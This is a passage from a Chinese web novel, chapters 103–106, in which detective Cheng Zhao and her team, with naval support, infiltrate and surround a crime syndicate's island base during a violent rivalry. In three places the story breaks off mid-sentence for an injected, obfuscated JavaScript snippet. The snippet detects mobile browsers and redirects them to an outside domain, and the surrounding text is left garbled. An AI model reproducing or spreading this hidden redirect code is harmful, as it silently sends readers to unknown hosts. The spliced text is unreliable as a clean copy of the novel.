周立言：“这是一个方法，但是有点不可控。岛上还有一些依附俱乐部讨生活的普通人，那些人未必做过什么大奸大恶的事……另外，我们不熟悉地形。如果等他们打完，我们再去捉人，那也是很危险的，还很容易让他们逃跑。” 乔良：“是啊，无论什么方法，我们的人还是太少了。那个岛地形复杂，除了需要人，还需要船。” 程昭：“如果可以联络到海警海军帮忙，那就好了……只是那个小岛这么多年都没有被查出来问题，那片海域的海警海军，可能也有人充当了保护伞。” 系统肯定了程昭的推测，这个提示让程昭感觉十分头大。 大家都觉得很头疼。 程昭：“如果找人帮忙的话，刑事二队应该会帮忙的，毕竟我们合作了这么多次……还有几个片区的警局，F市警局，那些合作过的人，应该会相信我们……” 周立言忽然想起了什么，眼睛一亮。不过他对自己的想法不太确定，需要打几个电话询问一下。 周立言让大家先讨论，他出去打几个电话。 …… 周立言回来的时候，脸上挂着一丝轻松的笑意。 程昭很好奇，“是找到谁帮忙吗？” 周立言点头：“嗯，对方听了我们的处境，有意帮我们，只是他也需要打报告去申请，所以暂时还不确定，有多少人手可以来帮忙。不过，有了对方的承诺，我觉得应该没有什么问题。” 侯远山：“那是谁啊？” “先保留一个悬念吧，等他的申请下来。”周立言卖了一个关子，“如果申请没下来，他也会安排一些人来帮忙的。另外刑事二组、F市警方也答应了帮忙。目前来看，人手和船只都不成问题。” 程昭：“这么神秘？” 周立言：“说起来，这也是你结来的善缘。因为你，对方才那么爽快地答应帮忙。” “我？”程昭疑惑地指了一下自己。 周立言笑着点点头，然后拉大家讨论，怎么接近蓬莱岛。 …… 乔琳找到机会，再次联系了私家侦探，说了一些情况。私家侦探把她的话，转告了刑事三队。 乔琳上次差点被人怀疑，但是乔琳掩饰过去了。 鲨鱼最近忙着筹备武力，准备在生日宴解决大老板和反对他的人，对他后院的管控放松了很多，没有留什么人看守别墅。 乔琳和另外几个鲨鱼的情妇，担心鲨鱼动手之后，会有敌对的人找上门，拿她们要挟鲨鱼。她们计划在生日宴那天，在别墅点火制造骚乱，趁乱出逃。私家侦探和他的朋友来接应她们。 …… 到了13号，周立言联系的神秘帮手，他的申请通过了，给程昭他们带来了另一片海域的一队海军，几艘船，还有熟悉蓬莱岛的向导。 “居然是你们啊……”程昭看着面前的一对夫妻，喃喃道。 103. 意外登岛 “哈哈，没想到吧？”旁边的二队队长孙萍，也乐得哈哈大笑，“如果不是周队，发现了宣怡丈夫是海军的人，我都不知道，我队员家属是高级将领。” 平时英姿飒爽的陈宣怡腼腆地笑了笑，有点不好意思地靠在丈夫王锐的身旁。 王锐笑着给妻子解围，“阿宣喜欢低调，她很少和其他人提起我的事。那天周队和我沟通完，阿宣就打电话给我，问我能不能来帮忙。所以，就是周队没想到找我，我也会来找你们的。为民除害这种事情，我们很乐意出一份力。” 周立言：“非常感谢你们来帮忙。本来按照规定，我们应该跟着专案组一起行动的。只是这些罪犯太狡诈，窝点太多，可疑的目标有很多个，但是机会只有一次。” 王锐：“我相信你们，而且我去打听了，那个地方确实不太正常。即使不是KL组织的大本营，里面肯定也有很多问题。无论怎么说，我们都是出师有名的。” 孙萍叹气，“专案组的专家，有点过于相信自己的经验了。” …… 帮手都到了A市，大家带齐装备，登上王锐的船队，准备先到H市。 途中，经过几番讨论，大家定下了行动计划。 王锐带来的船队、海军、向导，足以包围蓬莱岛，不让岛上的人逃跑。 但是，他们还需要面对，一个比较麻烦的问题。 岛上的几方势力，肯定都准备了大量的武器。如果警方太早暴露，包围蓬莱岛，岛上的人很可能会联合起来，武力突围……这样警方会面临强大的火力，可能会很危险。 比较安全的方案，是警方派人潜入岛内，观察情况。等各个势力捅破窗纸，消耗部分力量、暴露底牌之后，警方再来一个里应外合。 这样既减少了未知的风险，又可以保护岛上普通人的性命。 只是这个方法，潜入的人员，需要承担很大的风险。 不过他们这些刑警，大部分都经历过很多危险事件，海军那边也有擅长潜入、打听信息的斥候。 好几个人主动请缨，愿意冒险潜入内部。 经过一番考虑，最后决定由海军的斥候小队，来做潜入工作。 斥候小队的人常年生活在海上，日晒雨淋，会讲当地的方言，可以假扮成附近的渔民船夫。 他们有丰富的潜入经验，而且还会拆弹。由他们出手，会比其他人更稳妥。 他们计划用小船或者潜泳登岛。潜入内部之后，入侵岛内的安防系统，把监控画面发送到周立言他们的船上。 如果安防系统、监控画面没办法入侵，他们就会在内部各处按照窃听器。尽量把里面的信息，发送给外面的人。 等时机成熟，周立言、王锐他们就带人合围，带人登岛，抓捕犯人。 …… 程昭等身边没有人，联系了系统小五，让它帮忙拿积分去抽奖。 这次行动可能很危险，程昭不敢大意。账号里面现在有650积分，她让小五拿500积分去抽奖，只留下一点点以防万一。 【积分抽奖，消耗100积分，得：“低级止血贴”X2、“低级解毒剂”X1； 积分抽奖，消耗100积分，得：“低级止血贴”X1、“低级解毒剂”X1、“中级止血贴”X1； 积分抽奖，消耗100积分，得：“中级止血贴”X1、“中级解毒剂”X1、“活点地图”X1……】 抽了5次，程昭最后得到了一堆高中低级止血贴、解毒剂和特殊道具。 因为系统的道具、药品有时间限制，程昭不能提前拿出来交给别人，只能到时候四处做急救员。 …… 蛋糕工作室那边依照程昭、周立言的提示，照常准备蛋糕。 韩高煊那边联系过他们一次，确认工作室已经准备好了蛋糕材料，然后要求工作室在15号早上10点之前送到H市的XX码头。 为了避免工作室的人太过害怕，泄露警方已经盯上了蓬莱岛生日宴的秘密，程昭和侯远山准备假扮成蛋糕工作室的送货人员，代替他们送蛋糕。 工作室负责人听到警察愿意代替他们去送货，大大地松了一口气。店里的人隐隐约约听说了这个大订单有问题，所有人都不愿意出来送货。如果警察不帮忙，他就要自己硬着头皮送了。 …… 程昭和侯远山都伪装打扮了一番。 程昭给两人都化了妆，让自己和侯远山显得更普通更年轻一些。两人再穿上工作室的制服，看起来就是工作室里面的甜品学徒。 两人开着车，载着一车蛋糕，在9点35分，到达XX码头。 程昭用工作室的手机，给韩高煊预留的电话，发了一条短信，说蛋糕已经到码头。 周立言和蛋糕店负责人，还有其他的后援，在远处等待，以防万一。 9点45分，蛋糕工作室的手机响了，电话指示他们，把蛋糕送去XX区的船上。 程昭他们按指示送货，船上的人自己过来搬蛋糕。 本来一切正常进行着，但是忽然海边起了浪，船晃了一下，船员没站稳，三大盒蛋糕差点掉在地上。里面的蛋糕没坏，但是裱花歪了。 “怎么这么不小心！蛋糕都撞歪了，一下子三盒！宴会晚一点就要开始了！”船上，一个看起来是负责人的人跑了过去，皱着眉头，检查蛋糕的情况。 船员知道自己闯祸了，吓得六神无主，“怎么办啊，我是不是坏事了？惨了，我会不会被打死……” 负责人止住船员的话，他周围看了看，然后对着码头上的程昭和侯远山说：“你们，蛋糕店的，过来一下。” 程昭和侯远山感觉有点不妙，他们刚刚也看到蛋糕盒子倾斜了，但是他们不能露馅。 “客人，怎么了？” “蛋糕的裱花歪了，你们来修补。” “可是我们只是学徒，还没有出师呢。这里也没有材料和工具……我们拿回去店里，给你们修补，然后拿过来？很快的？” “时间来不及了……蛋糕拿回去的路上，可能还会有其他意外。我们宴会厨房有材料、工具，你们来帮忙修复。弄好了，我们再安排你们乘船离开。” “可是，我们……”侯远山想拒绝，负责人的脸上越发不耐，其他船员默默地盯着他们，有几个船员还向他们靠近了几步。 看来是躲不过了，但是这未尝不是一个机会。 程昭扯了扯侯远山的衣角，笑着打圆场，“可以的，不过我们手艺还没有学成，可能做得没有大师傅做的精致……” “没事，出问题的是小蛋糕，宾客对这些要求不会太高。” 看到蛋糕店的人愿意帮忙，负责人和船员都松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902853|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气，对他们的态度变得友善起来。 负责人打算等程昭他们修复好蛋糕，就马上送他们离开，所以没有要求他们交出手机。 于是，程昭和侯远山都上了船，跟着蛋糕和船员，一起前往蓬莱岛。 …… 不远处的后援小队，听到微型对讲机传来的声音，大家都有点焦急。 程昭、侯远山只是代替店员送货，怎么就被带上船了？ 周立言也很心急，但是他是指挥，不能自乱阵脚。他强行让自己冷静下来，思考了对策。 “程昭她们被当成蛋糕工作室的学徒，带去岛上修补蛋糕。她们没有被组织的人怀疑，目前还是安全的。 “斥候小队潜入岛上，到时候可以尝试和程昭她们联系……” 计划迅速修改，适应了现在的情况。 周立言、孙萍、王锐等人登上海军的船，悄悄向蓬莱岛靠近。 月牙岛那边，他们也派了人过去，监视海盗的情况。 …… 程昭和侯远山在船上，乖乖地坐在一边，看着蛋糕盒子，表现得很拘谨。 船员也没有怀疑他们，他们看起来就是突然被拉出去干活的普通店员。 差不多行驶了一个小时，才到达目的地。 船员开着船，穿过一片白茫茫的海雾，避开暗礁，安全到岸。 “你们千万不要乱跑，千万不要乱说话！这是忠告，也是警告，不是闹着玩的。”负责人压低声音，仔细叮嘱程昭、侯远山。 负责人想了想，找了一个人过来，紧跟着他们，“小山，他们两个就交给你。他们修复好了，你就带他们上船，送他们回去。” 这个被叫做“小山”的男人，长得很魁梧，皮肤黝黑，确实好像一座小山，看起来很有压迫感。 小山点了点头，然后带着程昭、侯远山，还有搬运蛋糕的人，一起上了接驳电车。 电车穿过弯弯绕绕的路，穿过茂密的树林，来到了一片建筑群。 这些屋子装修得很豪华很漂亮，墙体看起来特别厚。不远处的空地上，还停了一些豪车。 电车没有走正门的路，拐了个弯，继续行驶，几分钟后，来到了建筑群侧后方的区域。 这一片区域的建筑，没有前面看到的精致，感觉就是普通的后厨房、仓库、工作间。 到了厨房，小山把他们带到甜品制作区。 这个甜品制作的房间很小，好像没有怎么被使用过，里面没有其他人。 小山：“你们就在这里修复蛋糕吧，你们需要什么材料和工具？” 程昭有观察过蛋糕的样式，知道需要什么，便给小山列了一个清单。 小山微微皱眉，修复个蛋糕，居然要用这么多东西。 “你们跟我来。”他干脆直接带着他们，到了旁边仓库，“你们自己拿吧，不要乱动其他的东西。” 侯远山不懂怎么做蛋糕，只能装模作样地跟着程昭。 程昭以前打工有学过怎么做蛋糕，她平时也喜欢研究烘焙。简单修补小蛋糕的装饰，对她来说不是一件难事。 她很快地选好了工具和材料，还把一部分东西递给侯远山，帮他做掩饰。 东西拿好了，小山看了看仓库，确定这两个人没有乱拿东西，然后带着他们离开，继续监督他们修复蛋糕。 104. 暗中观察 拿到材料和工具，程昭开始打发奶油，然后指点侯远山切水果。 小山看两人在干活，便坐在门外，用手机和别人发消息。他看起来很放心程昭两人，不太在意蛋糕会不会有问题。不过他没有完全放松对两人的监视，时不时抬头看着他们干活，还有留意周围的动静。 程昭凭借系统，偷偷检查了房间，房间里面没有窃听器摄像头之类的东西。 趁小山不注意的时候，她悄悄看了看手机，手机显示无信号。岛上应该有自己的网络，否则小山也不能发信息、玩手机。 岛外的人，带了手机也不能用。怪不得船长没有没收他们的手机。之前船长承诺，蛋糕做完就带他们离开，看来这个承诺未必真的会兑现。 不过他们应该很在意蛋糕，蛋糕没修复完成之前，她和侯远山应该都是安全的。 借着厨房抽风机、奶油打发器的噪音，程昭和侯远山靠近对方，压低声音讨论下一步的对策。 侯远山也偷偷查看了手机和警方的联络器，“手机和联络器都没有信号，估计岛上的信号塔有问题。岛民的网络，我们最好不要用。” 程昭：“嗯，信息泄露，我们就麻烦了。等周队他们靠近小岛，我们应该就可以联络了。” 侯远山：“现在已经11:30，他们应该很快就到了。” 原计划里面，船队靠近蓬莱岛之后，斥候小队开着小船接近小岛。等看守吃饭、换岗的时候，斥候小队穿上潜水装备，悄悄登岛。 侯远山：“幸好你会做蛋糕，不然肯定被识破了。等会我们要做什么？” 虽然程昭入队时间比他晚，但是程昭的破案能力和应变能力都在他之上。侯远山感觉自己拿不定主意，干脆让程昭来下决定，他跟着执行。 程昭：“我们现在是蛋糕学徒，学艺不精，不要太快修复完所有蛋糕。蛋糕没完成之前，只要我们不露馅，应该都是安全的。拖延时间，等周队、斥候小队和我们联络。” 侯远山：“这简单，修复得快不容易，磨洋工我肯定没问题。” …… 程昭一心多用，一边慢慢准备材料，一边留意周围的情形，一边悄悄查看系统，在心里默默整理手上掌握到的线索。 到了蓬莱岛之后，程昭一直在暗中观察，岛上的一切情况。 系统的关联信息表，自从上船登岛之后，就一直疯狂刷新。岛上的很多状况，通过程昭的眼睛，一一被系统标记显示在列表里面。 停靠大船的港口，隐藏在小岛南侧的山石滩里。不过她观察的区域有限，不确定岛上还有哪些入口。 这里大多数房子，墙壁都是加厚的。主建筑那一片的玻璃，似乎也是防弹玻璃。 路上遍布监控摄像头，每隔一段距离还设了巡逻岗。 建筑周围的树林深处，隐隐约约看到了电网、绳索，估计里面设置了陷阱。 建筑和山间修建了平整的水泥路，路面留在斑驳的车痕，应该是停车场那些豪车飙车时留下来的。怪不得建筑群前面停着一堆豪车。 在接驳电车的行驶途中，程昭看到过几个巡逻的人，他们的衣服腰间鼓鼓囊囊的，大概都配了武器。 进了基地（建筑区域）之后，里面巡逻的人少了很多，不过建筑之间有很多监控。程昭在后厨区域附近，暂时还没有看到什么陷阱。 整体来说，组织大本营的警戒外紧内松。 对于已经进入岛内的程昭、侯远山来说，内部不严是件好事。但是外圈那些陷阱、摄像头和巡逻队，对还没有登岛的队友来说，都是一些棘手的问题。 之前程昭抽奖，拿到了一些特殊道具，可惜里面没有可以入侵网络的道具。入侵网络，估计需要斥候小队的人来做了。 岛内危急重重，程昭不敢太大意，先开了一个活点地图，方便查看周围有没有突然出现的敌人。 …… 另一边，周立言、王锐、孙萍的船队按照原计划，悄悄靠近了蓬莱岛，派了两艘船（二号分队）去月牙岛，监视海盗的情况。 因为船队不能离蓬莱岛太近，警方通讯的加密信号覆盖区域有限，暂时还不能联络上程昭、侯远山。 周立言很担心他们，但是只能耐心等待。 王锐看出了周立言的担忧，安慰道：“等斥候的小船靠近蓬莱岛，船上的信号中继器会扩大信号覆盖范围，我们应该很快可以联络上程昭、侯远山。” 周立言点头，“嗯，我相信他们的应变能力。” 斥候小队开着小船（三号分队），离开了船队。 …… 厨房区域，甜点间。 因为损坏的是一个个的小蛋糕，需要一个个地修复。小蛋糕的装饰是奶油和水果拼接的图案，做起来比较麻烦。 侯远山负责切水果，程昭负责裱花和拼接图案。为了拖延时间，两人故意做得很细致。 这样即使速度比较慢，小山也只是以为他们是慢工出细活，不会有太多意见。 …… 不远处的大厨房一直很热闹。切菜剁肉、锅碗瓢盆碰撞的交响曲，一直没有停过。 生日宴在晚上，但是一些硬菜需要提前准备。另外，中午俱乐部的午宴，还有岛上员工的午餐，厨房不敢怠慢任何一方。 饭菜的香气弥漫，勾得路人口水都要流出来了。小山也不盯着程昭他们工作了，眼光时不时就飘过去大厨房和餐厅的方向。 快到12点的时候，厨房区域来往的人越来越多。很多穿着小马甲的服务员来到厨房，推着传菜车，前往宴会厅或者客人房间。 小山闻着空气里的香味，看着陆续有人走去餐厅，不由得摸了摸肚子，越来越坐不住了。 今天是大老板生日，虽然正式的生日宴在晚上，但是中午的菜式也是特别丰盛。不说被邀请上岛的贵宾，就连普通员工的午餐都是豪华大餐。 可惜自己临时被安排了一个任务，不然他早就去餐厅取餐了！不知道去晚了，会不会吃亏。 小山想来想去，觉得这两个甜品师在组织地盘上，也翻不出什么风浪。如果看到不该看的，那就算他们两个倒霉，自然会有巡逻队的人解决他们，这种事也不是第一次发生。 小山走过去看了看他们的进度，才修复了不到一半。 小山皱眉，看了看时间，不想慢慢等了。他叮嘱程昭两人，“我离开十几分钟，等下我把门关上。你们两个在这里好好做蛋糕，我给你们带饭。” 不等程昭他们提出异议，小山就把甜品间的门关上，把他们锁在里面。 …… 小山离开了，程昭、侯远山松了一口气，两人停下了修补蛋糕的动作。 侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓬莱岛，蓬莱俱乐部，住宅区，某个别墅，书房。 KL组织的大老板罗坤一脸阴沉，靠坐在真皮沙发上。他一手盘着两个绛红圆润的核桃，一手拿着手机，听着电话对面的汇报。 电话对面汇报了一些东西，罗坤冷笑，“他们果然想要背叛。” “……”对面又讲了一些话。 罗坤哈哈大笑，“他们如果联合，那当然不好对付，但是他们不会联合起来的。今天倒是一个好机会，把倒向他们的墙头草，全部找出来。” “……” “等人齐了，就解决他们。带头的几个死了，剩下的还不一样听我们的？” “……” “放心，我准备了一份大礼。有整个基地给他们做陪葬，也不枉他们跟着我这么多年了。” “……” “基地？不留了，警察已经盯上我们了……演一出金蝉脱壳，然后去外国吧，钱都移出去了……我找了一个很机灵的帮手……当然可靠，未来都是一家人……” “……”对面又汇报了一些新的信息，罗坤听到之后坐直了身体。 罗坤的脸上挂着嗜血的微笑，“哦，是月牙岛吗？你安排人去解决吧。” 105. 月牙岛冲突 月牙岛。 鲨鱼聘请的海盗团，一部分人留在船上，一部分人在月牙岛上安营扎寨。 海盗团所有的人前几天都玩得很疯。有的挥金如土，在商场大肆购物；有的沉迷酒色，流连红灯区，不知时日…… 他们常年在刀尖上过日子，手里有钱就忍不住拿去挥霍。 鲨鱼出价大方，光是定金，就已经差不多海盗团平时一个月的收入。 这次的买卖很大，也很危险。 海盗团的人拿到定金，都忍不住跑去挥霍了几日，在任务之前尽情享乐，以免拿到钱没命花。 他们大清早来到月牙岛，然后按照雇主的计划，安静地等待指令。 月牙岛是一个孤零零的小荒岛，平时很少有人过来，海盗团安排了几个人监视周围的风吹草动。 可惜，KL组织，或者说罗坤的人，在附近的海域经营多年。尽管月牙岛很小很不起眼，但是罗坤的人也对这里的地形了然于胸。 罗坤派来的船队，逼近月牙岛之后，派了人开着小船，从小岛侧面悄悄上岸。他们无声无息地靠近，杀死了几个在高处放哨的人。 潜入的人在海盗团营地丢下几个□□，然后迅速离开，并向船队发送了信号。 罗坤船队得到信息，快速逼近海盗船。 陆地上，海盗团发现敌人，纷纷拿起武器，想要跑向海盗船。还没有跑出营地，暗中投放的炸弹就被引爆了。 “轰”、“轰”、“轰”。 几个离爆炸中心比较近的人，被炸得血肉模糊，支离破碎。断臂残肢、碎肉碎骨，混着迸溅的沙土，抛洒了一地。 离得远一点的人，即使没有被炸伤，也被爆炸的余波冲击到了。他们都短暂的失去了作战能力，头晕目眩地倒在地上。 组织潜入的人趁机冲了出来，把虚弱的海盗解决掉。 不过这些海盗团的人不是吃素的，他们迅速组织起了反抗。海盗团也不管雇主保持隐蔽的要求，直接打开火炮，和罗坤的船对轰。 两边还派出快艇，快速逼近对方，留下一梭梭子弹，然后飞快离开。 两边慢慢厮杀成一团。 虽然海盗团身经百战，但是偷袭他们的人也不差。 偷袭者有心算无心，先发制人，炸掉了海盗团的一些武器和人，占了一些优势。 海盗团渐渐落了下风，想要逃跑。 组织的人怕他们跑了，今晚又过来搅局，不想放他们离开。 海盗船被轰了几个大洞，海盗团的人心疼得不行。 对战期间，他们确定了对面是今晚的偷袭对象的人。海盗团船长干脆发令停手，举白旗投降。 组织的人放缓了攻击，犹豫要不要继续打。 几条小船不知道从哪里冒了出来，对着组织这边加大火力攻击。 几个人没防备，一下子就被击中，掉进了水里。 “嘶，海盗诈降，不要上当！” “继续打！” “他们不接受投降！” “他们要杀光我们！和他们拼了！” “拼了！” 海盗团发了狠，拼命攻击。组织的人也不留余地，疯狂射击。 月牙岛沐浴在枪林弹雨之下，海面都被染红了一片…… 经过一番厮杀，组织的人把海盗团打垮了，但是自己也死伤惨重。 …… 负责带队的人——李怀（赌博案主谋），在战局平息之后，开着一艘快艇来到现场。 李怀有点后悔自己过于托大，把指挥权交给了优柔寡断的弟弟。 海盗团举白旗之后，那些突然出现的小船，估计是有问题的，目的就是阻止海盗团投降，消耗双方的实力。 不过现在后悔也来不及了，干脆大家统一口径，直接和老板说，海盗团诈降，出尔反尔攻击他们，所以他们才会这样损失惨重。 李怀犹豫了一下，最后还是决定，隐瞒附近海域出现了不明的势力，以免影响今天的计划。 他是老板罗坤的心腹。这些年，他给老板做了这么多事，赚了这么多钱，但是他得到的东西却很少。 本来以为，老板年纪大了，精力不济，早晚会提拔他，到更加重要的地方做事，不用常年守在F市。没想到，老板打算安排他的小儿子上位，把很多重要的岗位，都留给了他小儿子的手下。 前阵子，组织发现警方成立了专案组，专门调查KL组织的事。专案组查到了很多东西，很多生意都不能再继续。大老板急于脱身，让长期被收买的警员，帮忙放出一些消息，引导专案组去查组织的其他的几个分点。其中，有两个是李怀经营多年的场子。 老板承诺过会补偿给他，但是这些口头承诺都是虚的。 老板把组织经营多年，累计下来的财产，都慢慢转移到国外，经营的生意都要重新布局。老板承诺给他的东西，要等解决了组织的叛徒，金蝉脱壳去了国外，重新经营之后，再慢慢补偿给他。 他们这些旧人，用完就弃，完全不考虑往日的功劳。 人不为己天地诛。既然你不仁，就不要怪我不义了。 李怀隐瞒了对战期间的不明势力，把战果汇报了给老板，然后整理队伍，收拾战场。 海盗团的船上还有大量的钱财，组织的人捞了个满怀，兴高采烈地分赃。 忽然几声枪响，击碎了组织成员发财的美梦。 坏了。李怀以为不明势力的人已经远去，不料那些人还在这里。 组织的人想要反抗，可惜实力悬殊。 没多久，组织的人纷纷投降。 李怀见势不对，想要开快艇逃离，但是很快就被拦截了。 …… 前往监视月牙岛海盗的两艘船上，都是一些训练有素、身经百战的海军。 他们特意去了和蓬莱岛另一个方向的位置，避开组织可能派出的船只。 大船显眼，所以他们还配备了几艘快艇，方便灵活行事。 组织来攻打海盗的时候，海军通过船上的探测器，还有游荡在附近的快艇小队，早就发现组织的动向。只是组织和海盗都没有发现他们，他们干脆按兵不动。 通过观察海盗团和组织对战，监视小队迅速评估了多方势力。 如果海盗团和组织实力无损，监视小队要拿下他们，并不容易。但是如果海盗团、组织两方对战，人员和火力都消耗一番，要拿下这些人，就变得轻松多了。 本来，监视小队犹豫过要不要出手。但是他们不是考虑海盗组织这些人的安危。 无论是海盗还是组织的人，都是一些穷凶极恶之徒。死了伤了，都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982382|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好事。 监视小队担心的是，如果他们出手，暴露了警方行踪，可能会影响岛内警员的安危，还有斥候的潜入计划。 幸好，程警官、侯警官及时联络上了总频道。确认了程警官和侯警官暂时安全，确定了他们有方法自保，监视小队便大胆出手。 鹬蚌相争，渔翁得利。监视小队以很小的伤亡，一举拿下了残余的海盗和组织成员，还抓到了组织的小头目李怀。 …… 周立言他们通过联络器，早就知道了月牙岛的情况。 李怀和一众组织成员被俘虏，带到警方军方的船队。 看到警方这个阵势，他们都知道大势已去，无意再为组织卖命。很多人都主动提供情报，想要争取从轻发落。 李怀纠结了一下，他做过的案件太多了，减刑还可以减到哪里去？ 周立言他们看到李怀闪闪缩缩，不肯老实说出有用的情报，便拿他和韩高煊密谋的事，来刺激他。 “你们怎么知道的？！”李怀没想到警方居然知道他和韩高煊勾结串通的事，一下子慌了神。 “我们确实知道，需要提示你吗？温泉酒店。”周立言其实并没有十足的把握，但是他需要诈一下李怀。 李怀可以带领组织的武力，围剿鲨鱼聘请的外援，这说明，他在组织里面有一定的地位。而且他很有可能，负责蓬莱岛的安防工作。 红狐打算今天和罗坤撕破脸，所以他应该不会提前消耗自己的武力。 李怀带的人，应该就是组织的人，很可能是大老板的人。 李怀和组织里面多方势力，都有接触过，他肯定知道很多情报。 时间有限，周立言没耐心和李怀慢慢周旋，干脆直接拿他私下和韩高煊接触的事，吓一下他。没想到李怀心里有鬼，一下子就露馅了。 周立言：“我们今天围困蓬莱岛，有十足的把握解决KL组织。你不如好好和我们合作，我们尽量争取给你减刑。如果组织的人，知道你两面三刀，以后你们在同一个牢房，你可能也不会太舒坦。” 李怀心里有鬼，他确实知道好几个势力的计划，多方下注，左右逢源。他知情不报，给别人知道了，只会得罪所有人。 李怀破罐子破摔，干脆把自己知道的事，一五一十地告诉了警方： 罗坤知道了红狐、鲨鱼有异心，打算借着生日宴，杀掉所有叛变的人。 他在岛上四处设置了炸药，还准备在酒水食物里面下迷药。等时机一到，他就带着自己人，离开蓬莱岛，毁掉其他的船。然后引爆炸弹，炸毁基地和杀死里面的人。 届时，他们会把基地伪装成，手下叛变而发生爆炸的样子。老板还准备了替身，意图假死，摆脱警方的追查。 基地的钱财，大部分都转移出国了，账号和密钥只有老板、他小女儿和小儿子知道。可能还有一个帮手知道，李怀觉得那个人可能是韩高煊。 红狐私下豢养了一些□□，还和军火商交易，买了一批武器。 之前红狐找李怀，就是为了买通李怀，方便他的私兵上岛。运载私兵的船舶，会在下午四点左右，在小岛东侧上岸，然后在生日宴开始之后，包围宴会厅。 红狐的权力仅次于罗坤，他还串通了几个组织的高层，打算用武力，逼老板把组织的钱财交出来…… 106. 解决监控 周立言：“那韩高煊呢？”虽然韩高煊不是组织高层，但是他好像和红狐、罗坤都有千丝万缕的关系，程昭也很关注这个人的动态。 李怀一心想着将功折罪，他连罗坤、红狐的计划都说了，也没打算隐瞒他和韩高煊的那些事，“我在F市经营赌船的时候，贪了一些钱，不知道怎么的被韩高煊知道了。他拿这个当做把柄威胁我，要我帮他做一些事。 “我的叔叔是组织的老工匠，组织的房子都是他和他徒弟设计的。赌场没了之后，老板把我安排到巡逻队。韩高煊问我要蓬莱岛基地的建筑图纸，还有基地的巡逻布防安排…… “他说是为了方便他熟悉基地。哈哈，骗人的鬼话！估计就是为了方便他偷情吧，那个小白脸不知道有什么魅力，那么多女人喜欢他。”李怀说着说着，语气莫名地发酸起来。 “我进了巡逻队之后，撞见过好几次，姓韩的和女高层或者高层的女眷在一起，虽然他们说是有公事，但是我的眼睛又没瞎，他们之间肯定有暧昧……” 李怀之前说过，他怀疑韩高煊知道罗坤转移组织金钱的秘密。周立言对这件事很在意。 周立言干脆打断李怀对韩高煊的酸言酸语，直接问了自己想知道的问题，“韩高煊是红狐的人，你为什么怀疑他知道罗坤转移组织财产的秘密？” 李怀：“这个啊……因为我见过韩高煊和罗婷在一起，罗婷是老板的掌上明珠，我们之前都以为，老板会把组织交给她。今天老板和我打电话的时候，还说他找了一个帮手，可能会成为一家人，所以我就马上想到韩高煊了。” 周立言他们追查过，罗坤曾经有四个子女。他的大儿子、二儿子在很早以前就死了，只剩下一个女儿一个儿子。 女儿罗婷，28岁，曾经在十多年前罗坤贸易公司诈骗案里面出现过，小小年纪就开始参与犯罪。 儿子罗少杰，18岁，暂时还没有在KL相关的案件出现过。不过从乔琳和李怀的情报里面，都显示，罗坤有意把位置留给罗少杰。 周立言和乔良等人面面相觑。他们都想起，韩高煊疑似和红狐女儿关系匪浅。没想到，韩高煊居然还和罗坤女儿有关系。 脚踏几条船，黑恶势力一把手、二把手的女儿都被他勾搭上了，简直就是在玩火啊。 审问结束，大家聚在一起讨论。 李怀讲的东西很多很重要，但是大家一开始的关注点，都在韩高煊莫名其妙的女人缘上面。 陈丰挠挠头，“这个韩高煊有这么帅吗？怎么一个个都和他有关系……” 孙泽林也想不通，“之前看照片和录像，好像是挺帅的，但是也不至于一个个都迷上他吧……” 乔良也惊叹，“这家伙也太大胆了，就不怕露馅吗？” 孙萍和陈宣怡是唯二在场的女性，但是她们没有和韩高煊交过手，只看过照片和录像，所以也想不明白。 周立言想起，程昭很在意这个人，不过他确信她不是对这个人有什么粉红色的想法，“看来，这个韩高煊确实不简单。程昭之前也怀疑过，这个人可能还有其他的计划，他拿了建筑图布防图，而且有机会接触红狐、罗坤的炸弹……” 联络器上面响起了程昭的声音：“没错，韩高煊冒着被识破的风险，也要脚踏几条船，他肯定不只是想当一个助手。我猜，他可能是打算在炸弹里面动手脚，把引爆的时间点提前，把所有人炸死，自己逃出去，然后拿着组织的钱和人手，另起炉灶。” 周立言很惊喜：“阿昭！你们摆脱看守了吗？安全吗？” 现在时间已经快到下午两点了。周立言他们这边忙着审问海盗和李怀他们，只知道程昭他们十二点的时候还在厨房，等着斥候小队解决监控和网络问题。 程昭他们不敢一直连着总频道，怕联络器的声音被其他人听到，干脆和斥候小队另外登了一个频道。 虽然周立言他们也很担心程昭和侯远山，但是他们身边有监视者，通讯不便，周立言他们不敢频繁联系他们，怕引人怀疑。 程昭：“说来话长……” …… 时间回到两个小时前。 12点15分，蓬莱岛，后厨，甜品间。 斥候小队刚把他们想出来的方法告诉程昭他们，甜品间外面就有了动静。 程昭匆匆忙忙地说了一句，“稍等，有人来了。”然后就藏起联络器。 程昭他们配备的联络器是警队最新的款式，看起来就像是一个平平无奇的纽扣，隐蔽性很高，所以才瞒过了组织人的眼睛。 